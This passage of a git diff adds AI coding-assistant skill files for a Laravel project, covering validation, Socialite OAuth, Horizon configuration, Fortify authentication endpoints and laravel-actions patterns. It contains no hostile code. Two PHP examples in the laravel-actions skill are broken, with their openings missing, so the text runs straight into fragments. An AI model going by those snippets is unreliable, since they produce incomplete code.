+Incorrect: `Event::fake(); $user = User::factory()->create();`
+
+Correct: `$user = User::factory()->create(); Event::fake();`
+
+## Use `recycle()` to Share Relationship Instances Across Factories
+
+Without `recycle()`, nested factories create separate instances of the same conceptual entity.
+
+```php
+Ticket::factory()
+ ->recycle(Airline::factory()->create())
+ ->create();
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/validation.md b/.claude/skills/laravel-best-practices/rules/validation.md
new file mode 100644
index 000000000..a20202ff1
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/validation.md
@@ -0,0 +1,75 @@
+# Validation & Forms Best Practices
+
+## Use Form Request Classes
+
+Extract validation from controllers into dedicated Form Request classes.
+
+Incorrect:
+```php
+public function store(Request $request)
+{
+ $request->validate([
+ 'title' => 'required|max:255',
+ 'body' => 'required',
+ ]);
+}
+```
+
+Correct:
+```php
+public function store(StorePostRequest $request)
+{
+ Post::create($request->validated());
+}
+```
+
+## Array vs. String Notation for Rules
+
+Array syntax is more readable and composes cleanly with `Rule::` objects. Prefer it in new code, but check existing Form Requests first and match whatever notation the project already uses.
+
+```php
+// Preferred for new code
+'email' => ['required', 'email', Rule::unique('users')],
+
+// Follow existing convention if the project uses string notation
+'email' => 'required|email|unique:users',
+```
+
+## Always Use `validated()`
+
+Get only validated data. Never use `$request->all()` for mass operations.
+
+Incorrect:
+```php
+Post::create($request->all());
+```
+
+Correct:
+```php
+Post::create($request->validated());
+```
+
+## Use `Rule::when()` for Conditional Validation
+
+```php
+'company_name' => [
+ Rule::when($this->account_type === 'business', ['required', 'string', 'max:255']),
+],
+```
+
+## Use the `after()` Method for Custom Validation
+
+Use `after()` instead of `withValidator()` for custom validation logic that depends on multiple fields.
+
+```php
+public function after(): array
+{
+ return [
+ function (Validator $validator) {
+ if ($this->quantity > Product::find($this->product_id)?->stock) {
+ $validator->errors()->add('quantity', 'Not enough stock.');
+ }
+ },
+ ];
+}
+```
\ No newline at end of file
diff --git a/.claude/skills/socialite-development/SKILL.md b/.claude/skills/socialite-development/SKILL.md
new file mode 100644
index 000000000..e660da691
--- /dev/null
+++ b/.claude/skills/socialite-development/SKILL.md
@@ -0,0 +1,80 @@
+---
+name: socialite-development
+description: "Manages OAuth social authentication with Laravel Socialite. Activate when adding social login providers; configuring OAuth redirect/callback flows; retrieving authenticated user details; customizing scopes or parameters; setting up community providers; testing with Socialite fakes; or when the user mentions social login, OAuth, Socialite, or third-party authentication."
+license: MIT
+metadata:
+ author: laravel
+---
+
+# Socialite Authentication
+
+## Documentation
+
+Use `search-docs` for detailed Socialite patterns and documentation (installation, configuration, routing, callbacks, testing, scopes, stateless auth).
+
+## Available Providers
+
+Built-in: `facebook`, `twitter`, `twitter-oauth-2`, `linkedin`, `linkedin-openid`, `google`, `github`, `gitlab`, `bitbucket`, `slack`, `slack-openid`, `twitch`
+
+Community: 150+ additional providers at [socialiteproviders.com](https://socialiteproviders.com). For provider-specific setup, use `WebFetch` on `https://socialiteproviders.com/{provider-name}`.
+
+Configuration key in `config/services.php` must match the driver name exactly — note the hyphenated keys: `twitter-oauth-2`, `linkedin-openid`, `slack-openid`.
+
+Twitter/X: Use `twitter-oauth-2` (OAuth 2.0) for new projects. The legacy `twitter` driver is OAuth 1.0. Driver names remain unchanged despite the platform rebrand.
+
+Community providers differ from built-in providers in the following ways:
+- Installed via `composer require socialiteproviders/{name}`
+- Must register via event listener — NOT auto-discovered like built-in providers
+- Use `search-docs` for the registration pattern
+
+## Adding a Provider
+
+### 1. Configure the provider
+
+Add the provider's `client_id`, `client_secret`, and `redirect` to `config/services.php`. The config key must match the driver name exactly.
+
+### 2. Create redirect and callback routes
+
+Two routes are needed: one that calls `Socialite::driver('provider')->redirect()` to send the user to the OAuth provider, and one that calls `Socialite::driver('provider')->user()` to receive the callback and retrieve user details.
+
+### 3. Authenticate and store the user
+
+In the callback, use `updateOrCreate` to find or create a user record from the provider's response (`id`, `name`, `email`, `token`, `refreshToken`), then call `Auth::login()`.
+
+### 4. Customize the redirect (optional)
+
+- `scopes()` — merge additional scopes with the provider's defaults
+- `setScopes()` — replace all scopes entirely
+- `with()` — pass optional parameters (e.g., `['hd' => 'example.com']` for Google)
+- `asBotUser()` — Slack only; generates a bot token (`xoxb-`) instead of a user token (`xoxp-`). Must be called before both `redirect()` and `user()`. Only the `token` property will be hydrated on the user object.
+- `stateless()` — for API/SPA contexts where session state is not maintained
+
+### 5. Verify
+
+1. Config key matches driver name exactly (check the list above for hyphenated names)
+2. `client_id`, `client_secret`, and `redirect` are all present
+3. Redirect URL matches what is registered in the provider's OAuth dashboard
+4. Callback route handles denied grants (when user declines authorization)
+
+Use `search-docs` for complete code examples of each step.
+
+## Additional Features
+
+Use `search-docs` for usage details on: `enablePKCE()`, `userFromToken($token)`, `userFromTokenAndSecret($token, $secret)` (OAuth 1.0), retrieving user details.
+
+User object: `getId()`, `getName()`, `getEmail()`, `getAvatar()`, `getNickname()`, `token`, `refreshToken`, `expiresIn`, `approvedScopes`
+
+## Testing
+
+Socialite provides `Socialite::fake()` for testing redirects and callbacks. Use `search-docs` for faking redirects, callback user data, custom token properties, and assertion methods.
+
+## Common Pitfalls
+
+- Config key must match driver name exactly — hyphenated drivers need hyphenated keys (`linkedin-openid`, `slack-openid`, `twitter-oauth-2`). Mismatch silently fails.
+- Every provider needs `client_id`, `client_secret`, and `redirect` in `config/services.php`. Missing any one causes cryptic errors.
+- `scopes()` merges with defaults; `setScopes()` replaces all scopes entirely.
+- Missing `stateless()` in API/SPA contexts causes `InvalidStateException`.
+- Redirect URL in `config/services.php` must exactly match the provider's OAuth dashboard (including trailing slashes and protocol).
+- Do not pass `state`, `response_type`, `client_id`, `redirect_uri`, or `scope` via `with()` — these are reserved.
+- Community providers require event listener registration via `SocialiteWasCalled`.
+- `user()` throws when the user declines authorization. Always handle denied grants.
\ No newline at end of file
diff --git a/.cursor/skills/configuring-horizon/SKILL.md b/.cursor/skills/configuring-horizon/SKILL.md
new file mode 100644
index 000000000..bed1e74c0
--- /dev/null
+++ b/.cursor/skills/configuring-horizon/SKILL.md
@@ -0,0 +1,85 @@
+---
+name: configuring-horizon
+description: "Use this skill whenever the user mentions Horizon by name in a Laravel context. Covers the full Horizon lifecycle: installing Horizon (horizon:install, Sail setup), configuring config/horizon.php (supervisor blocks, queue assignments, balancing strategies, minProcesses/maxProcesses), fixing the dashboard (authorization via Gate::define viewHorizon, blank metrics, horizon:snapshot scheduling), and troubleshooting production issues (worker crashes, timeout chain ordering, LongWaitDetected notifications, waits config). Also covers job tagging and silencing. Do not use for generic Laravel queues without Horizon, SQS or database drivers, standalone Redis setup, Linux supervisord, Telescope, or job batching."
+license: MIT
+metadata:
+ author: laravel
+---
+
+# Horizon Configuration
+
+## Documentation
+
+Use `search-docs` for detailed Horizon patterns and documentation covering configuration, supervisors, balancing, dashboard authorization, tags, notifications, metrics, and deployment.
+
+For deeper guidance on specific topics, read the relevant reference file before implementing:
+
+- `references/supervisors.md` covers supervisor blocks, balancing strategies, multi-queue setups, and auto-scaling
+- `references/notifications.md` covers LongWaitDetected alerts, notification routing, and the `waits` config
+- `references/tags.md` covers job tagging, dashboard filtering, and silencing noisy jobs
+- `references/metrics.md` covers the blank metrics dashboard, snapshot scheduling, and retention config
+
+## Basic Usage
+
+### Installation
+
+```bash
+php artisan horizon:install
+```
+
+### Supervisor Configuration
+
+Define supervisors in `config/horizon.php`. The `environments` array merges into `defaults` and does not replace the whole supervisor block:
+
+
+```php
+'defaults' => [
+ 'supervisor-1' => [
+ 'connection' => 'redis',
+ 'queue' => ['default'],
+ 'balance' => 'auto',
+ 'minProcesses' => 1,
+ 'maxProcesses' => 10,
+ 'tries' => 3,
+ ],
+],
+
+'environments' => [
+ 'production' => [
+ 'supervisor-1' => ['maxProcesses' => 20, 'balanceCooldown' => 3],
+ ],
+ 'local' => [
+ 'supervisor-1' => ['maxProcesses' => 2],
+ ],
+],
+```
+
+### Dashboard Authorization
+
+Restrict access in `App\Providers\HorizonServiceProvider`:
+
+
+```php
+protected function gate(): void
+{
+ Gate::define('viewHorizon', function (User $user) {
+ return $user->is_admin;
+ });
+}
+```
+
+## Verification
+
+1. Run `php artisan horizon` and visit `/horizon`
+2. Confirm dashboard access is restricted as expected
+3. Check that metrics populate after scheduling `horizon:snapshot`
+
+## Common Pitfalls
+
+- Horizon only works with the Redis queue driver. Other drivers such as database and SQS are not supported.
+- Redis Cluster is not supported. Horizon requires a standalone Redis connection.
+- Always check `config/horizon.php` before making changes to understand the current supervisor and environment configuration.
+- The `environments` array overrides only the keys you specify. It merges into `defaults` and does not replace it.
+- The timeout chain must be ordered: job `timeout` less than supervisor `timeout` less than `retry_after`. The wrong order can cause jobs to be retried before Horizon finishes timing them out.
+- The metrics dashboard stays blank until `horizon:snapshot` is scheduled. Running `php artisan horizon` alone does not populate metrics.
+- Always use `search-docs` for the latest Horizon documentation rather than relying on this skill alone.
\ No newline at end of file
diff --git a/.cursor/skills/configuring-horizon/references/metrics.md b/.cursor/skills/configuring-horizon/references/metrics.md
new file mode 100644
index 000000000..312f79ee7
--- /dev/null
+++ b/.cursor/skills/configuring-horizon/references/metrics.md
@@ -0,0 +1,21 @@
+# Metrics & Snapshots
+
+## Where to Find It
+
+Search with `search-docs`:
+- `"horizon metrics snapshot"` for the snapshot command and scheduling
+- `"horizon trim snapshots"` for retention configuration
+
+## What to Watch For
+
+### Metrics dashboard stays blank until `horizon:snapshot` is scheduled
+
+Running `horizon` artisan command does not populate metrics automatically. The metrics graph is built from snapshots, so `horizon:snapshot` must be scheduled to run every 5 minutes via Laravel's scheduler.
+
+### Register the snapshot in the scheduler rather than running it manually
+
+A single manual run populates the dashboard momentarily but will not keep it updated. Search `"horizon metrics snapshot"` for the exact scheduler registration syntax, which differs between Laravel 10 and 11+.
+
+### `metrics.trim_snapshots` is a snapshot count, not a time duration
+
+The `trim_snapshots.job` and `trim_snapshots.queue` values in `config/horizon.php` are counts of snapshots to keep, not minutes or hours. With the default of 24 snapshots at 5-minute intervals, that provides 2 hours of history. Increase the value to retain more history at the cost of Redis memory usage.
\ No newline at end of file
diff --git a/.cursor/skills/configuring-horizon/references/notifications.md b/.cursor/skills/configuring-horizon/references/notifications.md
new file mode 100644
index 000000000..943d1a26a
--- /dev/null
+++ b/.cursor/skills/configuring-horizon/references/notifications.md
@@ -0,0 +1,21 @@
+# Notifications & Alerts
+
+## Where to Find It
+
+Search with `search-docs`:
+- `"horizon notifications"` for Horizon's built-in notification routing helpers
+- `"horizon long wait detected"` for LongWaitDetected event details
+
+## What to Watch For
+
+### `waits` in `config/horizon.php` controls the LongWaitDetected threshold
+
+The `waits` array (e.g., `'redis:default' => 60`) defines how many seconds a job can wait in a queue before Horizon fires a `LongWaitDetected` event. This value is set in the config file, not in Horizon's notification routing. If alerts are firing too often or too late, adjust `waits` rather than the routing configuration.
+
+### Use Horizon's built-in notification routing in `HorizonServiceProvider`
+
+Configure notifications in the `boot()` method of `App\Providers\HorizonServiceProvider` using `Horizon::routeMailNotificationsTo()`, `Horizon::routeSlackNotificationsTo()`, or `Horizon::routeSmsNotificationsTo()`. Horizon already wires `LongWaitDetected` to its notification sender, so the documented setup is notification routing rather than manual listener registration.
+
+### Failed job alerts are separate from Horizon's documented notification routing
+
+Horizon's 12.x documentation covers built-in long-wait notifications. Do not assume the docs provide a `JobFailed` listener example in `HorizonServiceProvider`. If a user needs failed job alerts, treat that as custom queue event handling and consult the queue documentation instead of Horizon's notification-routing API.
\ No newline at end of file
diff --git a/.cursor/skills/configuring-horizon/references/supervisors.md b/.cursor/skills/configuring-horizon/references/supervisors.md
new file mode 100644
index 000000000..9da0c1769
--- /dev/null
+++ b/.cursor/skills/configuring-horizon/references/supervisors.md
@@ -0,0 +1,27 @@
+# Supervisor & Balancing Configuration
+
+## Where to Find It
+
+Search with `search-docs` before writing any supervisor config, as option names and defaults change between Horizon versions:
+- `"horizon supervisor configuration"` for the full options list
+- `"horizon balancing strategies"` for auto, simple, and false modes
+- `"horizon autoscaling workers"` for autoScalingStrategy details
+- `"horizon environment configuration"` for the defaults and environments merge
+
+## What to Watch For
+
+### The `environments` array merges into `defaults` rather than replacing it
+
+The `defaults` array defines the complete base supervisor config. The `environments` array patches it per environment, overriding only the keys listed. There is no need to repeat every key in each environment block. A common pattern is to define `connection`, `queue`, `balance`, `autoScalingStrategy`, `tries`, and `timeout` in `defaults`, then override only `maxProcesses`, `balanceMaxShift`, and `balanceCooldown` in `production`.
+
+### Use separate named supervisors to enforce queue priority
+
+Horizon does not enforce queue order when using `balance: auto` on a single supervisor. The `queue` array order is ignored for load balancing. To process `notifications` before `default`, use two separately named supervisors: one for the high-priority queue with a higher `maxProcesses`, and one for the low-priority queue with a lower cap. The docs include an explicit note about this.
+
+### Use `balance: false` to keep a fixed number of workers on a dedicated queue
+
+Auto-balancing suits variable load, but if a queue should always have exactly N workers such as a video-processing queue limited to 2, set `balance: false` and `maxProcesses: 2`. Auto-balancing would scale it up during bursts, which may be undesirable.
+
+### Set `balanceCooldown` to prevent rapid worker scaling under bursty load
+
+When using `balance: auto`, the supervisor can scale up and down rapidly under bursty load. Set `balanceCooldown` to the number of seconds between scaling decisions, typically 3 to 5, to smooth this out. `balanceMaxShift` limits how many processes are added or removed per cycle.
\ No newline at end of file
diff --git a/.cursor/skills/configuring-horizon/references/tags.md b/.cursor/skills/configuring-horizon/references/tags.md
new file mode 100644
index 000000000..263c955c1
--- /dev/null
+++ b/.cursor/skills/configuring-horizon/references/tags.md
@@ -0,0 +1,21 @@
+# Tags & Silencing
+
+## Where to Find It
+
+Search with `search-docs`:
+- `"horizon tags"` for the tagging API and auto-tagging behaviour
+- `"horizon silenced jobs"` for the `silenced` and `silenced_tags` config options
+
+## What to Watch For
+
+### Eloquent model jobs are tagged automatically without any extra code
+
+If a job's constructor accepts Eloquent model instances, Horizon automatically tags the job with `ModelClass:id` such as `App\Models\User:42`. These tags are filterable in the dashboard without any changes to the job class. Only add a `tags()` method when custom tags beyond auto-tagging are needed.
+
+### `silenced` hides jobs from the dashboard completed list but does not stop them from running
+
+Adding a job class to the `silenced` array in `config/horizon.php` removes it from the completed jobs view. The job still runs normally. This is a dashboard noise-reduction tool, not a way to disable jobs.
+
+### `silenced_tags` hides all jobs carrying a matching tag from the completed list
+
+Any job carrying a matching tag string is hidden from the completed jobs view. This is useful for silencing a category of jobs such as all jobs tagged `notifications`, rather than silencing specific classes.
\ No newline at end of file
diff --git a/.cursor/skills/fortify-development/SKILL.md b/.cursor/skills/fortify-development/SKILL.md
new file mode 100644
index 000000000..86322d9c0
--- /dev/null
+++ b/.cursor/skills/fortify-development/SKILL.md
@@ -0,0 +1,131 @@
+---
+name: fortify-development
+description: 'ACTIVATE when the user works on authentication in Laravel. This includes login, registration, password reset, email verification, two-factor authentication (2FA/TOTP/QR codes/recovery codes), profile updates, password confirmation, or any auth-related routes and controllers. Activate when the user mentions Fortify, auth, authentication, login, register, signup, forgot password, verify email, 2FA, or references app/Actions/Fortify/, CreateNewUser, UpdateUserProfileInformation, FortifyServiceProvider, config/fortify.php, or auth guards. Fortify is the frontend-agnostic authentication backend for Laravel that registers all auth routes and controllers. Also activate when building SPA or headless authentication, customizing login redirects, overriding response contracts like LoginResponse, or configuring login throttling. Do NOT activate for Laravel Passport (OAuth2 API tokens), Socialite (OAuth social login), or non-auth Laravel features.'
+license: MIT
+metadata:
+ author: laravel
+---
+
+# Laravel Fortify Development
+
+Fortify is a headless authentication backend that provides authentication routes and controllers for Laravel applications.
+
+## Documentation
+
+Use `search-docs` for detailed Laravel Fortify patterns and documentation.
+
+## Usage
+
+- **Routes**: Use `list-routes` with `only_vendor: true` and `action: "Fortify"` to see all registered endpoints
+- **Actions**: Check `app/Actions/Fortify/` for customizable business logic (user creation, password validation, etc.)
+- **Config**: See `config/fortify.php` for all options including features, guards, rate limiters, and username field
+- **Contracts**: Look in `Laravel\Fortify\Contracts\` for overridable response classes (`LoginResponse`, `LogoutResponse`, etc.)
+- **Views**: All view callbacks are set in `FortifyServiceProvider::boot()` using `Fortify::loginView()`, `Fortify::registerView()`, etc.
+
+## Available Features
+
+Enable in `config/fortify.php` features array:
+
+- `Features::registration()` - User registration
+- `Features::resetPasswords()` - Password reset via email
+- `Features::emailVerification()` - Requires User to implement `MustVerifyEmail`
+- `Features::updateProfileInformation()` - Profile updates
+- `Features::updatePasswords()` - Password changes
+- `Features::twoFactorAuthentication()` - 2FA with QR codes and recovery codes
+
+> Use `search-docs` for feature configuration options and customization patterns.
+
+## Setup Workflows
+
+### Two-Factor Authentication Setup
+
+```
+- [ ] Add TwoFactorAuthenticatable trait to User model
+- [ ] Enable feature in config/fortify.php
+- [ ] If the `*_add_two_factor_columns_to_users_table.php` migration is missing, publish via `php artisan vendor:publish --tag=fortify-migrations` and migrate
+- [ ] Set up view callbacks in FortifyServiceProvider
+- [ ] Create 2FA management UI
+- [ ] Test QR code and recovery codes
+```
+
+> Use `search-docs` for TOTP implementation and recovery code handling patterns.
+
+### Email Verification Setup
+
+```
+- [ ] Enable emailVerification feature in config
+- [ ] Implement MustVerifyEmail interface on User model
+- [ ] Set up verifyEmailView callback
+- [ ] Add verified middleware to protected routes
+- [ ] Test verification email flow
+```
+
+> Use `search-docs` for MustVerifyEmail implementation patterns.
+
+### Password Reset Setup
+
+```
+- [ ] Enable resetPasswords feature in config
+- [ ] Set up requestPasswordResetLinkView callback
+- [ ] Set up resetPasswordView callback
+- [ ] Define password.reset named route (if views disabled)
+- [ ] Test reset email and link flow
+```
+
+> Use `search-docs` for custom password reset flow patterns.
+
+### SPA Authentication Setup
+
+```
+- [ ] Set 'views' => false in config/fortify.php
+- [ ] Install and configure Laravel Sanctum for session-based SPA authentication
+- [ ] Use the 'web' guard in config/fortify.php (required for session-based authentication)
+- [ ] Set up CSRF token handling
+- [ ] Test XHR authentication flows
+```
+
+> Use `search-docs` for integration and SPA authentication patterns.
+
+#### Two-Factor Authentication in SPA Mode
+
+When `views` is set to `false`, Fortify returns JSON responses instead of redirects.
+
+If a user attempts to log in and two-factor authentication is enabled, the login request will return a JSON response indicating that a two-factor challenge is required:
+
+```json
+{
+ "two_factor": true
+}
+```
+
+## Best Practices
+
+### Custom Authentication Logic
+
+Override authentication behavior using `Fortify::authenticateUsing()` for custom user retrieval or `Fortify::authenticateThrough()` to customize the authentication pipeline. Override response contracts in `AppServiceProvider` for custom redirects.
+
+### Registration Customization
+
+Modify `app/Actions/Fortify/CreateNewUser.php` to customize user creation logic, validation rules, and additional fields.
+
+### Rate Limiting
+
+Configure via `fortify.limiters.login` in config. Default configuration throttles by username + IP combination.
+
+## Key Endpoints
+
+| Feature | Method | Endpoint |
+|------------------------|----------|---------------------------------------------|
+| Login | POST | `/login` |
+| Logout | POST | `/logout` |
+| Register | POST | `/register` |
+| Password Reset Request | POST | `/forgot-password` |
+| Password Reset | POST | `/reset-password` |
+| Email Verify Notice | GET | `/email/verify` |
+| Resend Verification | POST | `/email/verification-notification` |
+| Password Confirm | POST | `/user/confirm-password` |
+| Enable 2FA | POST | `/user/two-factor-authentication` |
+| Confirm 2FA | POST | `/user/confirmed-two-factor-authentication` |
+| 2FA Challenge | POST | `/two-factor-challenge` |
+| Get QR Code | GET | `/user/two-factor-qr-code` |
+| Recovery Codes | GET/POST | `/user/two-factor-recovery-codes` |
\ No newline at end of file
diff --git a/.cursor/skills/laravel-actions/SKILL.md b/.cursor/skills/laravel-actions/SKILL.md
new file mode 100644
index 000000000..862dd55b5
--- /dev/null
+++ b/.cursor/skills/laravel-actions/SKILL.md
@@ -0,0 +1,302 @@
+---
+name: laravel-actions
+description: Build, refactor, and troubleshoot Laravel Actions using lorisleiva/laravel-actions. Use when implementing reusable action classes (object/controller/job/listener/command), converting service classes/controllers/jobs into actions, orchestrating workflows via faked actions, or debugging action entrypoints and wiring.
+---
+
+# Laravel Actions or `lorisleiva/laravel-actions`
+
+## Overview
+
+Use this skill to implement or update actions based on `lorisleiva/laravel-actions` with consistent structure and predictable testing patterns.
+
+## Quick Workflow
+
+1. Confirm the package is installed with `composer show lorisleiva/laravel-actions`.
+2. Create or edit an action class that uses `Lorisleiva\Actions\Concerns\AsAction`.
+3. Implement `handle(...)` with the core business logic first.
+4. Add adapter methods only when needed for the requested entrypoint:
+ - `asController` (+ route/invokable controller usage)
+ - `asJob` (+ dispatch)
+ - `asListener` (+ event listener wiring)
+ - `asCommand` (+ command signature/description)
+5. Add or update tests for the chosen entrypoint.
+6. When tests need isolation, use action fakes (`MyAction::fake()`) and assertions (`MyAction::assertDispatched()`).
+
+## Base Action Pattern
+
+Use this minimal skeleton and expand only what is needed.
+
+```php
+handle($id)`.
+- Call with dependency injection: `app(PublishArticle::class)->handle($id)`.
+
+### Run as Controller
+
+- Use route to class (invokable style), e.g. `Route::post('/articles/{id}/publish', PublishArticle::class)`.
+- Add `asController(...)` for HTTP-specific adaptation and return a response.
+- Add request validation (`rules()` or custom validator hooks) when input comes from HTTP.
+
+### Run as Job
+
+- Dispatch with `PublishArticle::dispatch($id)`.
+- Use `asJob(...)` only for queue-specific behavior; keep domain logic in `handle(...)`.
+- In this project, job Actions often define additional queue lifecycle methods and job properties for retries, uniqueness, and timing control.
+
+#### Project Pattern: Job Action with Extra Methods
+
+```php
+addMinutes(30);
+ }
+
+ public function getJobBackoff(): array
+ {
+ return [60, 120];
+ }
+
+ public function getJobUniqueId(Demo $demo): string
+ {
+ return $demo->id;
+ }
+
+ public function handle(Demo $demo): void
+ {
+ // Core business logic.
+ }
+
+ public function asJob(JobDecorator $job, Demo $demo): void
+ {
+ // Queue-specific orchestration and retry behavior.
+ $this->handle($demo);
+ }
+}
+```
+
+Use these members only when needed:
+
+- `$jobTries`: max attempts for the queued execution.
+- `$jobMaxExceptions`: max unhandled exceptions before failing.
+- `getJobRetryUntil()`: absolute retry deadline.
+- `getJobBackoff()`: retry delay strategy per attempt.
+- `getJobUniqueId(...)`: deduplication key for unique jobs.
+- `asJob(JobDecorator $job, ...)`: access attempt metadata and queue-only branching.
+
+### Run as Listener
+
+- Register the action class as listener in `EventServiceProvider`.
+- Use `asListener(EventName $event)` and delegate to `handle(...)`.
+
+### Run as Command
+
+- Define `$commandSignature` and `$commandDescription` properties.
+- Implement `asCommand(Command $command)` and keep console IO in this method only.
+- Import `Command` with `use Illuminate\Console\Command;`.
+
+## Testing Guidance
+
+Use a two-layer strategy:
+
+1. `handle(...)` tests for business correctness.
+2. entrypoint tests (`asController`, `asJob`, `asListener`, `asCommand`) for wiring/orchestration.
+
+### Deep Dive: `AsFake` methods (2.x)
+
+Reference: https://www.laravelactions.com/2.x/as-fake.html
+
+Use these methods intentionally based on what you want to prove.
+
+#### `mock()`
+
+- Replaces the action with a full mock.
+- Best when you need strict expectations and argument assertions.
+
+```php
+PublishArticle::mock()
+ ->shouldReceive('handle')
+ ->once()
+ ->with(42)
+ ->andReturnTrue();
+```
+
+#### `partialMock()`
+
+- Replaces the action with a partial mock.
+- Best when you want to keep most real behavior but stub one expensive/internal method.
+
+```php
+PublishArticle::partialMock()
+ ->shouldReceive('fetchRemoteData')
+ ->once()
+ ->andReturn(['ok' => true]);
+```
+
+#### `spy()`
+
+- Replaces the action with a spy.
+- Best for post-execution verification ("was called with X") without predefining all expectations.
+
+```php
+$spy = PublishArticle::spy()->allows('handle')->andReturnTrue();
+
+// execute code that triggers the action...
+
+$spy->shouldHaveReceived('handle')->with(42);
+```
+
+#### `shouldRun()`
+
+- Shortcut for `mock()->shouldReceive('handle')`.
+- Best for compact orchestration assertions.
+
+```php
+PublishArticle::shouldRun()->once()->with(42)->andReturnTrue();
+```
+
+#### `shouldNotRun()`
+
+- Shortcut for `mock()->shouldNotReceive('handle')`.
+- Best for guard-clause tests and branch coverage.
+
+```php
+PublishArticle::shouldNotRun();
+```
+
+#### `allowToRun()`
+
+- Shortcut for spy + allowing `handle`.
+- Best when you want execution to proceed but still assert interaction.
+
+```php
+$spy = PublishArticle::allowToRun()->andReturnTrue();
+// ...
+$spy->shouldHaveReceived('handle')->once();
+```
+
+#### `isFake()` and `clearFake()`
+
+- `isFake()` checks whether the class is currently swapped.
+- `clearFake()` resets the fake and prevents cross-test leakage.
+
+```php
+expect(PublishArticle::isFake())->toBeFalse();
+PublishArticle::mock();
+expect(PublishArticle::isFake())->toBeTrue();
+PublishArticle::clearFake();
+expect(PublishArticle::isFake())->toBeFalse();
+```
+
+### Recommended test matrix for Actions
+
+- Business rule test: call `handle(...)` directly with real dependencies/factories.
+- HTTP wiring test: hit route/controller, fake downstream actions with `shouldRun` or `shouldNotRun`.
+- Job wiring test: dispatch action as job, assert expected downstream action calls.
+- Event listener test: dispatch event, assert action interaction via fake/spy.
+- Console test: run artisan command, assert action invocation and output.
+
+### Practical defaults
+
+- Prefer `shouldRun()` and `shouldNotRun()` for readability in branch tests.
+- Prefer `spy()`/`allowToRun()` when behavior is mostly real and you only need call verification.
+- Prefer `mock()` when interaction contracts are strict and should fail fast.
+- Use `clearFake()` in cleanup when a fake might leak into another test.
+- Keep side effects isolated: fake only the action under test boundary, not everything.
+
+### Pest style examples
+
+```php
+it('dispatches the downstream action', function () {
+ SendInvoiceEmail::shouldRun()->once()->withArgs(fn (int $invoiceId) => $invoiceId > 0);
+
+ FinalizeInvoice::run(123);
+});
+
+it('does not dispatch when invoice is already sent', function () {
+ SendInvoiceEmail::shouldNotRun();
+
+ FinalizeInvoice::run(123, alreadySent: true);
+});
+```
+
+Run the minimum relevant suite first, e.g. `php artisan test --compact --filter=PublishArticle` or by specific test file.
+
+## Troubleshooting Checklist
+
+- Ensure the class uses `AsAction` and namespace matches autoload.
+- Check route registration when used as controller.
+- Check queue config when using `dispatch`.
+- Verify event-to-listener mapping in `EventServiceProvider`.
+- Keep transport concerns in adapter methods (`asController`, `asCommand`, etc.), not in `handle(...)`.
+
+## Common Pitfalls
+
+- Putting HTTP response/redirect logic inside `handle(...)` instead of `asController(...)`.
+- Duplicating business rules across `as*` methods rather than delegating to `handle(...)`.
+- Assuming listener wiring works without explicit registration where required.
+- Testing only entrypoints and skipping direct `handle(...)` behavior tests.
+- Overusing Actions for one-off, single-context logic with no reuse pressure.
+
+## Topic References
+
+Use these references for deep dives by entrypoint/topic. Keep `SKILL.md` focused on workflow and decision rules.
+
+- Object entrypoint: `references/object.md`
+- Controller entrypoint: `references/controller.md`
+- Job entrypoint: `references/job.md`
+- Listener entrypoint: `references/listener.md`
+- Command entrypoint: `references/command.md`
+- With attributes: `references/with-attributes.md`
+- Testing and fakes: `references/testing-fakes.md`
+- Troubleshooting: `references/troubleshooting.md`
\ No newline at end of file
diff --git a/.cursor/skills/laravel-actions/references/command.md b/.cursor/skills/laravel-actions/references/command.md
new file mode 100644
index 000000000..a7b255daf
--- /dev/null
+++ b/.cursor/skills/laravel-actions/references/command.md
@@ -0,0 +1,160 @@
+# Command Entrypoint (`asCommand`)
+
+## Scope
+
+Use this reference when exposing actions as Artisan commands.
+
+## Recap
+
+- Documents command execution via `asCommand(...)` and fallback to `handle(...)`.
+- Covers command metadata via methods/properties (signature, description, help, hidden).
+- Includes registration example and focused artisan test pattern.
+- Reinforces separation between console I/O and domain logic.
+
+## Recommended pattern
+
+- Define `$commandSignature` and `$commandDescription`.
+- Implement `asCommand(Command $command)` for console I/O.
+- Keep business logic in `handle(...)`.
+
+## Methods used (`CommandDecorator`)
+
+### `asCommand`
+
+Called when executed as a command. If missing, it falls back to `handle(...)`.
+
+```php
+use Illuminate\Console\Command;
+
+class UpdateUserRole
+{
+ use AsAction;
+
+ public string $commandSignature = 'users:update-role {user_id} {role}';
+
+ public function handle(User $user, string $newRole): void
+ {
+ $user->update(['role' => $newRole]);
+ }
+
+ public function asCommand(Command $command): void
+ {
+ $this->handle(
+ User::findOrFail($command->argument('user_id')),
+ $command->argument('role')
+ );
+
+ $command->info('Done!');
+ }
+}
+```
+
+### `getCommandSignature`
+
+Defines the command signature. Required when registering an action as a command if no `$commandSignature` property is set.
+
+```php
+public function getCommandSignature(): string
+{
+ return 'users:update-role {user_id} {role}';
+}
+```
+
+### `$commandSignature`
+
+Property alternative to `getCommandSignature`.
+
+```php
+public string $commandSignature = 'users:update-role {user_id} {role}';
+```
+
+### `getCommandDescription`
+
+Provides command description.
+
+```php
+public function getCommandDescription(): string
+{
+ return 'Updates the role of a given user.';
+}
+```
+
+### `$commandDescription`
+
+Property alternative to `getCommandDescription`.
+
+```php
+public string $commandDescription = 'Updates the role of a given user.';
+```
+
+### `getCommandHelp`
+
+Provides additional help text shown with `--help`.
+
+```php
+public function getCommandHelp(): string
+{
+ return 'My help message.';
+}
+```
+
+### `$commandHelp`
+
+Property alternative to `getCommandHelp`.
+
+```php
+public string $commandHelp = 'My help message.';
+```
+
+### `isCommandHidden`
+
+Defines whether command should be hidden from artisan list. Default is `false`.
+
+```php
+public function isCommandHidden(): bool
+{
+ return true;
+}
+```
+
+### `$commandHidden`
+
+Property alternative to `isCommandHidden`.
+
+```php
+public bool $commandHidden = true;
+```
+
+## Examples
+
+### Register in console kernel
+
+```php
+// app/Console/Kernel.php
+protected $commands = [
+ UpdateUserRole::class,
+];
+```
+
+### Focused command test
+
+```php
+$this->artisan('users:update-role 1 admin')
+ ->expectsOutput('Done!')
+ ->assertSuccessful();
+```
+
+## Checklist
+
+- `use Illuminate\Console\Command;` is imported.
+- Signature/options/arguments are documented.
+- Command test verifies invocation and output.
+
+## Common pitfalls
+
+- Mixing command I/O with domain logic in `handle(...)`.
+- Missing/ambiguous command signature.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-command.html
\ No newline at end of file
